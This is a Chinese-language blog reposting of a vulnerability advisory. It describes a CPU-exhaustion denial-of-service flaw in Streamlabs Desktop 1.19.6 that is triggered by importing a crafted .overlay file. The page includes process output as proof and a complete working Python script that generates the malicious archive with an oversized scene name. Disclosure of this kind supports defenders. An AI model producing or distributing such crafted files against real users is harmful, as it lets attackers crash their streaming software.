Logitech Streamlabs桌面版覆盖文件CPU耗尽漏洞分析

本文详细分析了Logitech Streamlabs Desktop 1.19.6版本中存在的CPU耗尽漏洞。通过构造特殊的.overlay文件,攻击者可导致应用程序渲染进程CPU使用率飙升超过150%,造成服务拒绝。文章包含完整的Python利用代码和技术细节。

Logitech Streamlabs Desktop 1.19.6 (覆盖文件) CPU耗尽漏洞

漏洞信息

  • 日期: 2025.11.13
  • 作者: LiquidWorm
  • 风险等级: 中等
  • 攻击方式: 本地/远程
  • CVE: N/A
  • CWE: N/A

漏洞概述

Streamlabs Desktop是一款基于OBS Studio构建的免费流媒体和录制软件,专为内容创作者设计,可用于向Twitch、YouTube和Facebook等平台进行直播。

该软件存在一个漏洞,通过导入特制的.overlay文件会导致CPU资源不受控制地消耗,从而引发拒绝服务情况。.overlay文件是一个包含config.json配置的归档文件。通过在config.json的场景对象name属性中插入过大的字符串,应用程序的渲染器进程(Frameworks/Streamlabs Desktop Helper (Renderer).app)CPU使用率会飙升超过150%并变得无响应,迫使受害者手动终止应用程序,导致服务不可用。

技术细节

测试环境

  • macOS Sequoia 版本15.7.2, 15.7.1
  • Microsoft Windows 11 25H2
  • Microsoft Windows 10

漏洞验证

1
2
3
$ ps ucp 66595
USER     PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
lqwrm 66595 100.3  0.6 1596218784 221344   ??  R     2:15PM   1:32.11 Streamlabs Desktop Helper (Renderer)

Python利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3

import argparse
import json
import zipfile
from pathlib import Path

def build_config(name: str) -> dict:
    return {
        "schemaVersion": 2,
        "nodeType": "RootNode",
        "scenes": {
            "schemaVersion": 2,
            "nodeType": "ScenesNode",
            "items": [
                {
                    "slots": {
                        "schemaVersion": 1,
                        "nodeType": "SlotsNode",
                        "items": []
                    },
                    "name": name,
                    "sceneId": "scene_8e59eea4-d0f1-424f-8837-1aacd707700c"
                }
            ]
        },
        "transition": {
            "schemaVersion": 1,
            "nodeType": "TransitionNode",
            "type": "cut_transition",
            "settings": {},
            "duration": 300
        },
        "nodeMap": {
            "schemaVersion": 1,
            "nodeType": "NodeMapNode"
        }
    }

def create_overlay(output_path: Path, name_length: int = 1000) -> Path:
    scene_name = "A" * name_length
    config_dict = build_config(scene_name)
    config_bytes = json.dumps(config_dict, indent= 2, ensure_ascii=False).encode("utf-8")

    output_path.parent.mkdir(parents=True, exist_ok=True)

    with zipfile.ZipFile(output_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("config.json", config_bytes)

    return output_path

def main():
    parser = argparse.ArgumentParser(description="Create a Streamlabs .overlay with a 1000 chars scene name.")
    parser.add_argument("-o", "--output", type=Path, default=Path("sample.overlay"),
                        help="Path to the output .overlay archive (default: sample.overlay)")
    parser.add_argument("-n", "--name-length", type=int, default=1000,
                        help="Number of bytes to use for the scene name (default: 1000)")

    args = parser.parse_args()

    out = create_overlay(args.output, name_length=args.name_length)
    print(f"Created overlay: {out.resolve()}")

if __name__ == "__main__":
    main()

漏洞发现信息

影响分析

攻击者可通过分发恶意的覆盖文件来破坏流媒体操作,导致Streamlabs Desktop应用程序崩溃,造成服务中断和用户体验下降。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计